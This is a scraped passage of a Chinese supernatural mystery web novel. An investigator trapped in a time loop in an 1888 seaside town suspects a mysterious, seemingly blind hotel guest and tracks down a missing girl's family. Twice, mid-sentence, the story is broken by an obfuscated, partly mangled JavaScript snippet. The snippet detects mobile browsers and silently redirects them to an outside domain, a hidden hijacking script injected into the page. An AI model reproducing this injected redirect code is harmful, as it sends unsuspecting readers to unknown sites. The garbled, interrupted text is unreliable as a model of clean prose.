欧德面无表情地把浴巾提回胯骨以上,颇有种媚眼抛给瞎子看的感觉。他啥都不想说了,伸手去拿书,打算赶紧把盲眼王子打发回精致城堡里去。手伸到一半—— 欧德忽地顿住:等等。 这个人长得如此出众,如果在浮士德交给他的被害人列表里,他一定会第一时间就注意到。但他完全不记得有在那些证件照里见过对方。 一瞬间,欧德手臂上的寒毛直竖。 他的手停了片刻,又无声缩了回来,佯作不学无术道:“什么《海狼》?不,我不喜欢读书。你还有什么别的事?我要睡了。” 欧德整具身体都是绷紧的,手悄悄压上腰间的枪。 但对方只是遗憾地轻摇了一下头,也没继续纠缠的意思,只将书放在房间门口的牛奶盒上,转身走向走廊。 欧德的身体微微放松,下一秒—— “轰!” 头顶传来什么东西坍塌的声音,欧德猛一抬头,就见大量腐朽的木梁和烂掉的砖块瞬间砸穿了天花板。 欧德不得不承认,他的反应力在吃完那只深潜者后快了很多。 天花板砸下来的瞬间,他就迅速向后一退,避开锥向他的水晶吊灯,紧跟着再次向前,直接踩上刚坠砸在地的314地板。 他匆匆抬眼,就见整个314号房都像是被某种神秘的魔法所侵蚀,家具腐烂,大量浮尘飘散在空中,好像独自经历了数百年的光阴。 他下意识地在浮尘扑向眼球时眨了一下眼睫,下一瞬,脚下一空。 周围骤然乍现出一种强烈到无法直视的眩光,四周的一切——从木质的橱柜,到坚硬的砖石,统统在那眩光中像被摧枯拉朽的伟力所摧毁。 ——这本该是他能观察到的所有信息。 但他的动态视力因之前的进食敏锐了很多,因此能清楚地捕捉到:那些还算得上崭新的橡木家具是如何在短短的一呼吸间被抽干水分,木纹迅速凸起、发黑,像木乃伊一样收缩干瘪,最终和卷曲剥落的墙漆、层层侵蚀的砖石一起,骤然崩解为飞舞的齑粉。 他腰间的枪支本该坚固到能将深潜者的颅骨砸成烂泥,此时却爬满锈痕,黑色涂层如蛇蜕般片片剥落,枪托融化滴落……最终连那点滴落的痕迹,也变成了飞灰。 “咳……”从二楼猛坠至一楼仓库的欧德猛咳了几声,撑着地面仰起头,只见头顶的三间房已经荡然无存,只剩下漫天缓慢飞舞的、历史的尘埃。 “怎么回事?!” “上帝啊!发生了什么?!” 旅馆在这巨大的轰响声中醒来,人群嘈杂地涌向事发地点。 欧德在呛人的飞尘中一边咳着嘴里的灰,一边站起身,重新尽量体面地拽紧腰间浴巾的同时,抬头看向二楼房间门口。 他不知道自己为什么毫发无伤,是不是314号房干的这件事,大体上他觉得不会有第二个嫌疑人了——哪有那么巧?314刚莫名其妙找上门,他就突然遇袭。 但二楼房间门口却在此时探出了对方那颗精美得就算被锁进艺术馆展览柜里也不违和的脑袋,对方眼神没有焦距地四下寻找了几秒,一手扶着门板,一手摸向室内:“先生?214号房的先生?你还好吗?我听见什么东西倒塌的声——” 欧德眼看着314一脚踩上空气,下一秒,身体一歪,猛地向下坠落。 敏锐的动态视觉给了他充分思考的时间: 怎么回事?刚刚的袭击难道不是314干的?还是说,314现在只是在表演? 他冷眼看着314向下坠落,最终还是疑罪从无的理念让他在最后一刻上前一步,结结实实地接住老大一只散发着冷冽气息的漂亮孔雀砸进臂弯里。 “……谢谢。”314似乎有所受惊,但很快便恢复镇静。 对方胸口别的那串蓝宝石水滴坠胸针折射过璀璨的光,差点让刚经历过一次强光伤眼的欧德又失明一下:“……能问吗,你到底为什么半夜特意打扮,拿枪找上门?真就为了送书?” “也许还有其他目的。”314先生居然没顺势敷衍,他的脸上糅杂着一种新奇和原因不明的遗憾。 他似乎并不觉得被另一个同性打横抱着有伤自尊心——事实上如果不是先前听侍应抱怨过314房客的挑剔,欧德都快觉得314是个随性的人了:“你无法想象,我有多遗憾没法看见你的模样——” “真的,真的非常遗憾。”他加重咬字,重复强调道,“我从未如此遗憾过。” “……”明明对方正以弱势的姿势安分地呆在自己怀里,那双深蓝色的眼睛因毫无焦距而显得弱小无助,但欧德却莫名起了一身的鸡皮疙瘩,后颈发凉。 他产生一种奇怪的错觉:好像空气中有无数双无形的纵眼正先后裂开眼皮,环伺着他,窥探着他,向他所在的方向伸探出看不见的触须。一旦触碰到他的所在,就将毫不留情地绞住他,将他的生命夺去。 他僵了几秒,感受到西服硬挺粗粝的布料摩擦着他赤.裸的皮肤。但很快他的神色就恢复如常,将怪异的314先生竖着杵回地面,转头面向大呼小叫着跑来的老板娘,只留眼角的余光仍警戒着314的一举一动:“怎么回事?我好好地在房间里洗澡,擦都没来得及擦屋子就塌了?” 周围的嘈杂声不知何时静下来了,一双双眼睛躲在门板或废墟后,睁大了双眼猛看大自然深夜馈赠的裸.男出浴图。 老板娘奔跑的速度也慢了下来,目光顺着欧德窄瘦的腰线一路往下方的浴巾瞟,差点收势不及,撞进欧德苍白的胸膛:“你——你——” 欧德抬手扶住老板娘的肩膀,并不想招来更多注意,尤其是这会儿他又累又困,身上还只裹着一条浴巾:“我没打算就这个意外追究责任,但214房我没法住了。你得给我安排一间新房……拜托,我现在只想睡觉。” · 像欧德这种性格的人说想睡觉,那多半不能信的,真实含义应该理解为“我要背地里做功课了!” 整个回新房间、冲澡、上床的过程中,欧德都在琢磨该如何应对目的存疑的314。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16540171|186626||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿定主意后,他迅速陷入沉睡,第二天一醒,就立即换上老板娘友情赞助的新衣服,精神饱满地去敲对面的门。 昨晚换房后,他住326,孔雀先生住327。两人门对门,拜访起来十分方便。 327里寂静无声,仿佛是对来客的一种婉拒。 但经历了昨晚的被逼开门,欧德根本不会理会这点拒绝,咚咚咚的敲门声最后变成乓乓乓:“还没醒吗,孔……住在327的先生?你昨晚送给我的书真是太好看了,让我欲罢不能。我迫切地想和你聊聊书中的剧情,要一起下楼吃早饭吗?” 两边的人都要被吵醒了,半晌,房间里传出一声恐怖的、不知道是什么东西低沉轰鸣的声音。又过了几秒,夹带着不悦的脚步声重重踏到门边,又临时顿住,相当勉强地转回浴室,几分钟后才换回沉稳有力的步伐,走到门边拉开房门:“我的荣幸。” 欧德脸上挂着相当真情实感的笑——他能从对方不那么平静的尾音中听出一股很难察觉的恼火,仿佛在问“你难道就没有自己的事要做吗?” 他的心情因此格外晴朗,甚至故意亲昵地探身过去,侧首在起床气先生的侧颈边轻嗅了一下:“还是昨天的香水?” 似乎没有怪物的味道。欧德想。 “……”起床气先生顿了一下,抓住手杖的左手微动,看起来像是十分想用手杖抽开他,但最终只是侧过脸,用没焦距的海蓝色眼睛扫向他,“你想聊什么书中剧情?” “哦!我忘了。”欧德语调轻快地说,主打一个反正昨天的偷袭也没搞死我,就算是你干的我也不用怕,“下楼吗?我扶你。我们谈点其它有趣的事吧——比如,你相信这世上有怪物吗?” “……”起床气先生的声音低了几个度,“我以为你想聊海——” “先假设这世上有吧。”欧德强行伸手抓握住起床气先生的手腕,只管说自己想说的事,“也许我会是一位时光旅者,刚从1980年6月2日忽然回溯到昨晚的捕梦小镇中。” “奇怪的事情发生了——” “……”起床气先生突然安静了,也不知道是放弃挣扎,还是其他什么原因。 欧德贴心地一边扶着对方下楼,一边继续道:“在我逆转时间前,有人告诉我,他的手下死前手边放着一本笔记本,上面写着我的名字。但昨晚我都把他那个卧底手下啃成骨架了,也没找到那本本子,这是怎么回事?” 欧德的指腹在起床气先生的手腕上轻轻滑动,搭上脉搏。 对方的心跳很反常地一点没变乱,只淡淡道:“我是你的犯人吗,先生?” “当然不是,亲爱的……呃,还没请教您的姓名?”欧德不是很走心地问。 “卡文迪许。”起床气先生说,“就这么叫我吧,我该怎么称呼你呢?” 欧德觉得这不重要:“欧德就行——来吧,我们接着前面的故事讲。” 关于没找到的笔记本,他早有一个推测:“我想,也许我第一轮碰到那位手下先生时,并不知道他想对我不利,所以被他轻易绑走了呢?” 卡文迪许转过脸,似乎开始有兴趣了:“你说‘第一轮’?” 欧德仔细观察卡文迪许的神情,试图捕捉对方的破绽,但这人脸上除了浅淡的兴味没有其他任何表情,很难看出这人究竟是不是在装傻:“是的。将我这段旅程视为重复过两遍吧。” “总之,如果按照我的推测捋,第一遍我来到这里后,事情发展的顺序应该是这样的:我抵达捕梦小镇——被卧底抓住——卧底带上我、取回笔记本——不知后续发生了什么,整个小镇最终陷入火海,卧底被烧死,我独自逃了出来。” 卡文迪许听得更加入神了,看起来根本不像一个知情人,今天真是头一次听这样曲折离奇的故事。他似乎并不在意小镇葬身火海的结局,也许是因为他并不惧怕这场灾难,也许是并未当真。他只客观地建议:“那么——你应该找到那本笔记。” 这的确是欧德的计划之一,但欧德仍挑眉:“为什么?” 卡文迪许似乎很乐意为人解答疑问:“首先,那个本子现在肯定已经存在了——不然解释不通一个想害你的人,已经把你抓到手了,还特地去新买个本子,记下你的名字。” “应该在他想害你之前,就已经在随身的本子上记下了你的名字,然后才动手来抓你的。” “其次,如果这个本子是那个歹徒的日记本呢?也许那里面会有不少有用的信息。” 欧德的眉毛挑得更高了,似笑非笑:“还有其他的吗?” “你还想要什么?”卡文迪许反问。 他们在二楼转角处停下,欧德的半张脸掩盖在阴影里,那双绿眼睛在暗处像狼一样盯着卡文迪许:“既然本子早就存在,为什么卧底在跑来抓我的时候,身上却没有本子?” 卡文迪许的身体姿态很放松,看不出是不是在明知故问:“为什么?” 欧德逼近一步,微微俯身,鼻尖近乎触上卡文迪许的侧颈:“因为就像正常人到新的地方,会先找安全的落脚点一样……卧底也去了一趟他的安全据点。他在那里放下笔记,是因为他觉得那里万无一失,不可能有人会盗走的笔记——” 欧德轻轻嗅了一下,试图在香水的覆盖下寻找和深潜者相似的气味:“你觉得,在那个据点中,会不会有他的同伴?会有多少呢?” 卡文迪许一动不动,脸上又一次流露出那种似乎感到有些新奇似的神情:“我不知道。” “是不知道,还是不想说?” “你的信任感一向这么低吗?”卡文迪许微微挑眉,抬起手杖,去抵开欧德。 但欧德没有退开,反倒顺势握住手杖,将两人间的距离又拉近了点。 他注视着卡文迪许,一点、一点将手杖从双眼没有焦距的卡文迪许手中抽出:“不敢不低啊……昨夜有人敢用手枪逼我开门送书,今晚他又想对我做什么?” 卡文迪许哂然一笑,张了张嘴,大概是想说现在的情况似乎是欧德想对他这个目不能视的可怜人做点什么—— “嘭!” 楼下传来旅馆大门被猛撞开的声音。 他们听见之前打过交道的侍应惊魂未定、上气不接下气地呼喊:“尸体——怪物——又有个人在密林里被吃了!” 7. 第 7 章 “?”欧德倏然一惊,猛地回头看向楼下。 怪物……吃人? 经历过昨晚,欧德很难不产生自我疑虑:这起案件该不会和我有关吧?还是说,小镇里还有别的会吃人的怪物? “嘿……”两个穿着蕾丝边荷叶裙的小姑娘捂着嘴窃笑,一下一下偷瞄着身体几乎贴在一起的欧德和卡文迪许,从他们身边擦肩而过。 “看,你让大家误会我们了。”卡文迪许语带责怪地说,“把手杖还给我吧。既然你不打算讨论《海狼》,我就回去补眠了。” 欧德正琢磨自己不可能是嫌犯,不然房间内一定会留下他夜游的痕迹,闻言顿时转回头看着卡文迪许,眉毛都快挑飞了: “补眠?在这种时候?你没听到下面刚刚说有个人被怪物吃了?‘镇子上有个吃人的怪物在闲逛’这种事就一点都困扰不到你吗?这可不是我刚刚的假设。” “我不会离开旅馆,这位怪物要想挑中我也很难——”卡文迪许话没说完,就被欧德强拽住了手腕。没有手杖傍身,他只能顺着欧德的力道往楼下走:“绅士之间这样拉拉扯扯可不体面。” 欧德头也不回地讥讽:“昨晚你大半夜拿着枪敲门就体面了?” 他根本没有放开卡文迪许的意思。昨晚那一场房间坍塌的“意外”之后,卡文迪许就是欧德现在最怀疑的幕后黑手人选了。 他甚至有点懊悔,昨天不该放卡文迪许单独回房的,如果这具新出现的尸体,就是昨晚他们换了新房间、各自回屋休息后,卡文迪许造成的呢? 这世上真有巧合吗?欧德认为只有处心积虑的必然。 两人拉拉扯扯、乱七八糟地下到一楼餐厅,餐厅里已经坐着不少客人了。卡文迪许在站稳后的第一时间就整理了一下被弄乱的西装:“手杖。” 欧德微笑着将手杖换到离卡文迪许更远的右手,主打一个油盐不进:“你有我,还需要笨拙不会说话的手杖吗?” 他拽着卡文迪许走进餐厅,随便挑了个边角的位置坐下,刚好将餐厅内的所有混乱收入眼底: “谁死了?”正抓着侍应追问的是一位打扮得珠光宝气,穿着昂贵黑裘大衣的女士,某些外貌特征莫名让欧德联想起昨晚他刚啃光的深潜者。 欧德正想着以貌取人、尤其是评价一位女士是件非常失礼的事,目光往黑裘女士身后一瞟:“……” 如果说女士的外貌特征和深潜者不谋而合只是凑巧,那么和这位女士同行的十三四个人统统都长得肿头凸眼,他就很难再说是巧合了。 “怎么?”卡文迪许注意到欧德调整坐姿的动静。 “我有点怀念我的枪了。”欧德一边琢磨他能上哪儿再搞杆枪来,哪怕是普通的枪也行,一边看向那帮绝对和深潜者有不解之缘的肿头人后方。 那里还有几个长得粉雕玉琢、看起来十二三岁的小孩,正在嬉笑着互相推搡,偶尔奔跑起来打打闹闹。 他们看起来并不害怕前面长相怪异的大人,也不像是被拐卖或绑架来的,其中一个孩子拽了一下前面大人的衣摆,伸手要抱抱的神态是孩子面对亲人时才会流露出的耍赖和娇憨。 “……”欧德有些犹豫了。 虽然昨晚偷袭他的深潜者是个彻头彻尾的邪恶怪物,但眼前这群人,似乎还是残留有部分人类的特征,也有人类的感情,也许他不该把他们当怪物对待? 也许这群人就是祖先曾经和……和深潜者有过一段禁忌之恋,所以他们身上才有混血的特征,但本质上,他们身上还是人类的部分更多一点? “你说啊!谁死了?!”黑裘女士紧紧拽着侍应生的手,声音带颤。 她的脚下都是些被摔碎的农产品,南瓜洋葱之类的,应该是和侍应生拉扯间,不慎打翻了侍应生挎着的菜篮,“不可能……不可能是我的瑞恩!” “……”卡文迪许忽地在一旁蹙了一下眉头,露出一个近似于厌恶的神情,并朝着背对闹剧的方向撇过脸。 欧德敏锐地注意到卡文迪许的反应,分出一半心神试探:“怎么,那位女士或者瑞恩是你的熟人?” “不。”卡文迪许文雅地从胸前口袋取出巾帕,虚掩住口鼻,“你没闻到吗?地上那些东西传来的臭味。” “?”欧德愣了一下,将视线落到那些并不起眼的农作物上。 他在下楼时的确闻到了果蔬久放后腐烂、沤闷的恶心气味,但他以为那是清早尚未来得及处理的厨余垃圾,怎么可能是来自这些新鲜才买的蔬果的呢? “我不信!!”黑裘女士的尖声哭叫拽回了欧德的注意,“我丈夫只是去密林里收集矿石样本,好好地怎么可能被怪物吃掉?!一定是有人害了他……一定是有人设了陷阱,故意抓住他、杀死他的!” “夫人,夫人……”侍应生的表情已经从惊恐万状变成后悔了,显然觉得自己不该像之前那样大呼小叫,惹得一身麻烦,“怪物就是喜欢在密林里出没啊!哪家睡前故事不这么写?警局的探长已经发布告示,让大家不要随意靠近密林了,你的丈夫——” “你懂什么!”黑裘女士红着眼睛,脸上带泪,她狠狠将侍应生一推,硬是把比她还高一个头的成年男性推得像个小孩一样栽坐在地,“这个小镇不该有任何能吃掉我丈夫的怪物!” 她猛然转身,那双眼距过宽,简直像长在头两侧的凸眼睛里带着和普通人没什么两样的悲痛和愤怒,目光凶狠地扫过餐厅里坐着的所有人,紧跟着一下冲到其中一桌衣着不修边幅,就算餐厅里吵成这样,也依旧光顾着低头看书的客人们面前: “你们,是你们做的对不对?!上一次‘被怪物不幸吃掉’的就是你们的人,你们一定是看中瑞恩的特殊——” “那关我们什么事?”一名灰发学者皱着眉抬头,他之所以愿意搭理人,主要还是因为黑裘女士在激动间快把手伸到他眼前,尖锐的长指甲快把他的眼睛划瞎了,“我们有自己的事要做,你的丈夫对我们来说无足轻重。” “谎言!!”黑裘女士尖声哭喊,“谁不知道你们除了吃饭睡觉,一天到晚都在那密林里泡着?!一定是瑞恩挡了你们的路——” “无稽之谈。”灰发学者厌烦地合书站起身,“现在,请你让开。我们要去密林开始研究——” “我的丈夫死了!!”黑裘女士发疯似的扑了上去,无视学者身后,跟着学者一起站起来的书呆子们,双手一下攥住灰发学者的衣领,竟是硬生生将人拎离了地面,“必须有人为此付出代——” “扑……” 正在翻看菜单的卡文迪许轻轻将菜单合上,伸手摸向茶杯,喝了口还冒着热气的红茶。 “……”黑裘女士不知因为什么忽地卡住了咆哮,还挂着泪的面上凝固着惊恐。 几秒过后,站在她身后的同伴们从僵持中反应过来,慌乱地上前架住僵直的黑裘女士,拽上几个突然呆呆跌坐在地的孩子,什么话也不敢多说,转头赶出旅馆。 “……”欧德顿了一会,才转头看向又是好巧不巧,在黑裘女士突发异常前弄出小动静的卡文迪许,“别告诉我刚刚这是你做的。” “什么意思?”卡文迪许海雾一样的眼睛藏在袅袅水雾后,“我只是翻看了一下菜单——” “你一个瞎子看什么菜单?!”欧德没忍住低喝。 “……”卡文迪许眨了眨眼,“为什么我觉得你对待刚刚那位蛮不讲理的女士,比对我的态度更好?你看起来似乎在与她共情。为什么?你也失去了你的爱人?” “……”欧德的脸冷了下来,直接站起身掏出吊坠项链,准备按照原计划去找老板娘打听老疯子孙女的消息,再去找黑裘女士了解情况——之前她说的那些逻辑奇怪的话让他有些在意。 但一直想摆脱欧德,回屋补眠的卡文迪许却主动跟了上来:“这么做很不理智。你也许会因为同情,忽略本该注意到的疑点。你的心会产生倾向,蒙蔽你的判——” “你为什么要跟着我?”欧德猛然转身,面对卡文迪许,“为什么昨晚你要上门送书?你自己身上就有那么多解释不了的谜题,有什么立场来指点我该怀疑什么,不该怀疑什么?” “……”卡文迪许若有所思,“所以你的确失去了你爱的人。” 欧德深吸了一口气,很想照着卡文迪许那张漂亮的脸狠揍一拳,但之前和浮士德打交道的教训仍历历在目,他最终没有由着自己的性子来:“学会闭嘴好吗?没人说过你话很多?” “没有。”卡文迪许亦步亦趋地跟在欧德身后,“走慢点好吗?你要去哪?如果心情不好,要去海边——” “闭,嘴。”欧德猛地回头,一字一顿地说着,将手杖塞回卡文迪许手中,“要么安静跟着,要么——” 滚蛋还是不行的,他得把最大的嫌疑人放在眼皮子底下看着,欧德只能黑着脸,加重语气重复了一遍:“安静跟着。” 黑裘女士领着的人群走了,学者们也很快离开旅馆,大概是出发前往密林了——即便刚刚才出现新的受害者。 欧德一路走到柜台边,已经迅速调整好心态,因为被冒犯地戳中心中的伤口而绷紧的身体重新放松开来,他随意地单臂搭上柜台:“刚刚真是吓我一跳——幸好最后没打起来。” “是啊……”老板娘看着餐厅的方向唏嘘了一声,收回视线看见欧德时又有些意外,“你看起来比昨晚精神多了?看看你的脸色!我还以为昨晚经历了那种意外,你会睡不好觉呢?” 欧德没法说自己的脸色变好是因为吃了一只深潜者:“是的,床很柔软。” 卡文迪许在后面似乎有自己的意见要发表,欧德搭在柜台上的手无声攥起拳头,他识趣地没再开金口。 欧德:“听我说——我是想为您送来的这套衣服表达感谢,我昨晚光顾着想这里有我的亲戚了,没想到出门前还得多备衣服。” 老板娘果然热心地接话:“哦可怜的孩子,昨晚你过得已经很艰难了,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16540172|186626||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点心意不算什么——来吧,告诉我你想找的亲戚是谁?在经过昨晚的一切之后,你理应获得顺顺当当的一天。” 欧德将吊坠拿给老板娘看,不忘给自己留后路:“说实话,我甚至不确定这是不是我家的亲戚——昨天真是被气昏头了。我是在我家阁楼里翻到的这个,上面还写着捕梦小镇这个地址。” “唔……”老板娘皱眉翻看了一下吊坠前后,欧德等得几乎都要不抱希望了,她却蓦然一笑,“你很幸运,孩子。我认识她——萝拉·格林。这张照片是她小时候拍的吧?要不是足够熟悉,我差点没认出来这小丫头——她现在已经是个大姑娘啦!但——哦天,你的脸色怎么忽然变得这么差?” 欧德吞咽了一口口水,才让轰然炸起的耳鸣消退下去:“你说的‘大姑娘’是什么意思?她……她现在多大了?” “你为什么听起来这么紧张?”卡文迪许轻声问。 欧德当然紧张。 想想吧,卧底不知道时间逆转,这意味着什么?意味着他遇到的卧底,并不是跟随他一起从6月2日回到1888年的! 换句话说,他遇见的,就是第一轮,在5月24日和他一起踏入小镇的卧底。 也就是说,他的确是被逆转时间回到了5月24日,只不过,在5月24日时,捕梦小镇已经处于1888年了。 这些日期颠来倒去的讲似乎有些复杂,但结论其实可以总结得非常简单: 他所在的这个捕梦小镇,不知因为什么,时间被停滞在1888年了。 所以他从6月2日穿回来,一头扎进的是1888年的小镇;卧底在5月24日跟随还没经历过任何灵异事件的他走进小镇,同样也踏进了1888年的捕梦小镇。 这就牵扯到了另一个问题—— 1888年,到1980年,过去了多少年? 92年。 如果老疯子的孙女是在捕梦小镇被封锁后误入的,那时间上还好说。但老板娘说这照片是萝拉小时候的照片?现在萝拉已经是个大姑娘了? 这岂不是说明,萝拉就是生活于1888年的人?那她现在多少岁了?将近100岁? 那……老疯子这个爷爷呢?他该多大?两百? 欧德不禁抬手压住隐隐跳痛的额头:……萝拉真的是老疯子的孙女吗?还是说,老疯子欺骗了他呢? 可——为什么?是老疯子真的疯到分不清现实,还是他故意为之? “你还好吗?”老板娘忧心忡忡,“我以为你知道萝拉的消息,会很高兴呢!” “我的确高兴。”欧德放下手。 他的情绪一贯来得快,收敛得更快,克制、冷静,是从小祖父教导他的信条之一:“知晓真相,总比被蒙骗强——好吧,能告诉我,她的家人都友善吗?对她好吗?” 重点是——萝拉的爷爷还健在吗?是老疯子吗? 老板娘:“哦他们一家都很友善,又很勤劳。她的父母是农民,祖父母和外祖父母现在正合开一家杂货铺——我的家族和他们家世代交好少说三辈人啦!要不之前我怎么说,没听过他们有外地亲戚呢?他们一家哪怕往上翻个四五辈,也都是本地人呀!” 欧德:“……” 行吧。 他之前还想,可能是老疯子说的初恋怀着孩子来到捕梦小镇呢?结果老板娘直接往上翻四五辈,这下是彻底钉死,没法翻案了。 欧德叹了口气,只觉得荒谬至极。但本着负责任的态度,他还是道:“能告诉我,她家住哪儿吗?我在阁楼里翻到这个,也算缘分吧,即使不是亲戚,也能给人家送回去。” 以防万一,最后确认一下吧。 换个角度想,如果能确认萝拉平安无事,对于目前四面楚歌的他来说,其实算是一件好事。 算算他现在肩上的担子吧——可能存在的深潜者据点,不明缘由的大火,搞不明白的时间屏障和逆转……一会他还得去跟黑裘女士试着搭话。 他手头要查的事情太多了,萝拉如果平安健康,就意味着他能放下一件事,全神贯注地追查其他线索。 至于老疯子,难道现在他能冲出小镇揍对方一拳吗?就算要算账,也得等出了镇子再说。 欧德前一秒在心里如此冷静理智地劝慰自己,后一秒,就恨恨地在心里的算账本上用力记仇。不过他记仇一贯不上脸,面上还是轻松的样子:“最好能有个地图……哦,有啊。” 老板娘从柜台里抽出一份小镇地图——大概是为旅游者准备的,唰唰涂了个位置,就近一递,倍觉有趣地扫量面前并肩而站的两人:“真没想到你俩能交上朋友,难道是因为昨天晚上共同遭遇意外?” 欧德的眉心在看清老板娘的动作后一跳,忽地伸手,按住卡文迪许要去接的地图:“为什么把地图给他?他双目不便。” “啊?”老板娘说,“谁双目不便?卡文迪许先生?没听说啊?昨晚让灰尘迷眼了?” 8. 第 8 章 “……”柜台前静了几秒。 卡文迪许的目光明显往欧德所在的方向撇了一下,只是依旧没有焦距。 欧德的反应却异常地平淡:“可能吧。” 他转回头,微笑着从老板娘手中拿过地图,点头致谢后就举步往旅馆外走。 卡文迪许有些疑惑地驻足了几秒,三步并作两步紧追上来:“你不觉得可疑?” 往后门走的欧德过了几秒,才感觉到不对,猛然回头,就见卡文迪许正迈着从容笃定的步伐走向前门。 “……”欧德一时不知道该说什么,扭头看了会大步往大门追的卡文迪许,无语至极地翻了个白眼,终究还是几步转回去攥住对方的臂膀,一边把人往后街带,一边反问,“你身上的疑点还少吗?” 眼盲这件事,欧德也不是第一次怀疑了。 首先,一个盲人身边怎么会携带正常版本的《海狼》?他昨晚睡前还特地翻了一下,那本书的文字没有任何凸起,卡文迪许怎么读的?手指的触觉已经细腻到连油墨都能分辨得出来了吗? 其次,卡文迪许昨晚拿枪敲门的时候,可没带什么手杖。这至少能证明,对方行动并不一定需要手杖。 但要真说卡文迪许眼盲是装的,欧德又觉得不完全像。 毕竟,如果真是装的,卡文迪许何必在明明能清晰听见他脚步声的前提下,笔直地往大门走? 这岂止是睁眼瞎,听见声音却分辨不出声源,如果不是对答无误,欧德都要怀疑卡文迪许是不是连耳朵也一起聋了。就算是装也不至于装得这么智障。 欧德仔细回忆了一下,对方几次找准他的位置,都是跟他有肢体或间接肢体接触的时候——好比刚刚,他按住了卡文迪许准备接过的地图,所以卡文迪许能顺着被阻碍的力道看过来。 再比如先前在餐厅,他起身要走,卡文迪许也是在他身后跟得紧紧的——他现在很怀疑对方当时亦步亦趋的目的,该不会是在凭他身后扬起的长外套扫过身体来确定要往哪走吧? “你太奇怪了,你知道吗?”欧德一边说,一边低头翻看地图。 卡文迪许露出并不苟同的神情,但最终只是礼貌地询问:“图上画了什么?” 欧德抬起眼皮,瞥了眼因为有肢体接触做参照,所以面向大体准确,只是视线的落点略低的卡文迪许,有点闹不明白在对方眼里自己是个什么形象,很矮吗? “……捕梦小镇的地形,还有值得游玩的景点。” 小镇的面积很大,但分区并不复杂。 欧德冲着南边的海指了一下:“小镇南边临海,不远处有个小海岛,海拔低得很。平时能不能从水里冒头,全看当天海潮的心情。” “海港这边分布着渔场、商业街——我们现在住的旅馆就在这条商业街上,所以一抬头就能越过窗户看见南边黑漆漆的海——别遗憾,就算长了眼睛,这海景也没什么值得欣赏的。美没有,但阴沉压抑管够。” 欧德心情一不好,讲话就多少沾点毒:“再往内陆走,东北边的悬崖上建着学校。——我不理解为什么把学校建在那么高的地方?可能是为了锻炼学生每天上学爬山的能力,或者方便学生们学业压力大,随时跳海以放下人生的苦恼。” “东边,一座圣公会教堂。但既然你囫囵个儿地站在这里,我不得不严重怀疑教堂里全是混子。” 卡文迪许佯装没听出欧德话里的夹枪带棒:“海景不好?我觉得漫步海边,听听海浪也不——” “还有侍应说的那片密林。再往内陆走点,跨过镇内自耕农田,就是那片密林。”欧德自顾自说完,将记下来的地图塞回口袋,才施舍了卡文迪许充满怀疑的一眼,“你为什么这么想让我去海边?刚刚我不高兴的时候你就劝我去海边散心,海边有什么?” 他并不是真的想获得卡文迪许的回答。质疑完就接着抓住卡文迪许的手臂,大步往萝拉家走:“不管有什么,都别想了。我不会去海边的——至少在搞到武器前不会。这镇子上没有枪械店,等见完萝拉,我们就想办法从警局里搞把枪出来。” 本来欧德是想见完萝拉就去找黑裘女士的,但刚刚捋了一下思路,万一黑裘女士的态度并不友善呢?基本的防备还是要有的。 闲扯的档口,他们在一栋两层式的小屋前停下。 欧德伸手拨了下小屋门前挂着漂亮的野花花环:“很新鲜——我敢打赌这是孩子做的。” 他侧了下身,越过擦得很干净的窗户,看见一个七八岁的小男孩正伏在木餐桌前涂画着什么。 欧德微微挑眉,没去敲就在面前的门,反而走到窗边轻叩了一下。就见男孩像受到什么惊吓似的猛然弹起,唰的一下将画纸藏在背后。看清窗外人的面孔后,满脸警惕的男孩又呆愣了一秒,紧跟着倒吸一口凉气,挥舞着双手、大呼小叫着跑进内屋:“妈妈妈妈!天使!有天使在敲我们家的窗户!” ——欧德注意到,即使激动得大呼小叫,男孩依旧藏着那张画纸,好像那是连父母也不想告知的秘密。 “天使?”卡文迪许凑到欧德耳边低声重复。 “我长得好看,怎么了?”欧德安若自然地怼开卡文迪许。 半分钟后。靠脸就刷满了信任,直接进门的欧德坐在男孩之前趴的木桌边,左右打量萝拉家的屋内陈设。 墙上那一排黑白照片格外显眼,记录了萝拉从小到大都灿烂得毫无阴霾的笑容,那双大大的蓝眼睛里有着一股坚定的力量:“您说萝拉现在正在上课?” “是的,”萝拉母亲珍惜地将欧德给她的吊坠收进家庭相簿里,笑着抬头,视线瞥到卡文迪许时僵了一下,但一看回欧德的脸,笑容顿时重新变得热情温暖,“您知道我们小镇的学校建在很高的地方,大部分学生都不想每天来回折腾,所以选择寄宿。萝拉会在每个周末回来,但今天很不巧是周三……[注]” “给姐姐请假吧!”名叫保罗的小男孩怂恿道,“课什么时候都能上,见不到这样好看的哥哥那才是超级超级大的遗憾!以后哥哥又不一定会来了。而且那学校里教的课,本来萝拉就不喜欢。她想上和男孩子一样的课,可学校只摁头让她学针线烹饪什么的。” “女孩子本来就该做这些啊,”萝拉父亲挠挠脸有些苦恼,但最终还是纵容道,“行吧,我猜缺个一两节课也没什么大问题,我打个电话给学校,就说——嗯……就说她母亲病了!” “亲爱的……”萝拉母亲责怪地看向灵光一闪的丈夫。 萝拉父亲摊开手:“或者你打电话?我可以演生病的那个。” “……”欧德一声未吭,只安静观察这家人的相处模式。 最开始他看见男孩儿藏画,差点就往家庭虐待等方面想了,现在证明是他想太多。 看萝拉父亲对待女儿的态度,已经能称得上溺爱了,即使因为时代的局限性,他会说出现代人绝不赞同的观点。 